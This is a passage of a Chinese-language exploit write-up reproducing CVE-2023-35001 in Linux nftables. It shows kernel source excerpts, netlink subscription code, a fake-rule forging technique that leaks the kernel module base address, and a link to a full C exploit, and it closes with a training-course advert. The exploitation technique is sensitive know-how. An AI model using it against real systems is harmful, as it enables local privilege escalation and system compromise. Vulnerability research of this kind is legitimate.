#define nft_rule_next(rule) (void *)rule + sizeof(*rule) + rule->dlen
在完场上述流程后,就可以顺利进入nft_trace_packet函数内部,nft_trace_packet函数也比较简单,实际是调用了__nft_trace_packet函数
File: linux-5.19\net\netfilter\nf_tables_core.c
37: static inline void nft_trace_packet(struct nft_traceinfo *info,
38: const struct nft_chain *chain,
39: const struct nft_rule_dp *rule,
40: enum nft_trace_types type)
41: {
42: if (static_branch_unlikely(&nft_trace_enabled)) {
43: const struct nft_pktinfo *pkt = info->pkt;
44:
45: info->nf_trace = pkt->skb->nf_trace;
46: info->rule = rule;
47: __nft_trace_packet(info, chain, type);
48: }
49: }
可以发现想要进入nft_trace_notify函数需要满足info->trace或info->trace不为空。
File: linux-5.19\net\netfilter\nf_tables_core.c
24: static noinline void __nft_trace_packet(struct nft_traceinfo *info,
25: const struct nft_chain *chain,
26: enum nft_trace_types type)
27: {
28: if (!info->trace || !info->nf_trace)
29: return;
30:
31: info->chain = chain;
32: info->type = type;
33:
34: nft_trace_notify(info);
35: }
使用meta表达式可以设置skb->nf_trace,将skb->nf_trace设置为非空就可以进入到nft_trace_notify函数。
File: linux-5.19\net\netfilter\nft_meta.c
...
443: case NFT_META_NFTRACE:
444: value8 = nft_reg_load8(sreg);
445:
446: skb->nf_trace = !!value8;
447: break;
...
在nft_trace_notify函数内部,还会判断是否订阅NFNLGRP_NFTRACE。没订阅则无法继续执行。
File: linux-5.19\net\netfilter\nf_tables_trace.c
...
176: if (!nfnetlink_has_listeners(nft_net(pkt), NFNLGRP_NFTRACE))
177: return;
...
在libnml库中使用mnl_socket_setsockopt函数进行netlink的组订阅,由于在使用宏NFNLGRP_NFTRACE编译时会提示找不到该值,因此这里使用实际值代替了。
static int group = 9;
if (mnl_socket_setsockopt(nleak, NETLINK_ADD_MEMBERSHIP, &group,
sizeof(int)) < 0) {
perror("mnl_socket_setsockopt");
exit(EXIT_FAILURE);
}
接下来就需要具体如何伪造rule,通过byteorder操作可以首先可以将原先的chain、rule以及last_rule的地址泄露,但是只能泄露四字节。
由于我们需要找到符合上述条件的rule,并且我们只有rule的最低两个字节,因此搜索范围不大,因此需要在泄露的rule_low附近寻找一个合适的模块地址。在存储泄露的rule之前存储利用immediate以及meta_set操作,我们选择其中一个进行泄露即可。
伪造的方式也比较简单,由于is_last与dlen都需要设置为0,因此我们只需要找到两个字节为0的值,作为伪造的rule即可,伪造的rule如下。
修改后的结果如下
由于handle实际是占用42比特,但是有3个比特被设置为0了,因此实际泄露的值只有39比特,但是由于模块地址的高4个字节都是固定的0xffffffff,因此不影响模块地址的泄露。通过从数据包中提取数据得到handle的值为后,简单移位操作就可以还原。
module = ((leak << 13) >> 16);
最后泄露模块基地址成功。
总结
总结一下模块基地址的泄露流程
1. 构造基础链
设置NFT_JUMP表达式
通过meta设置为NFT_META_NFTRACE
2. 泄露链
byteorder表达式触发漏洞,第一次读chain、rule以及last_rule,第二次改写为chain,fake rule以及fake last_rule
dynset表达式泄露chain、rule、last_rule
3. 订阅NFNLGRP_NFTRACE组,接收数据包
4. 后续接着分享如何绕过kaslr以及最终提权的利用。
原版exp使用go语言写的,我使用c语言重写了一版。
完整exp:https://github.com/h0pe-ay/Vulnerability-Reproduction/tree/master/CVE-2023-35001(nftables)(c语言)
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

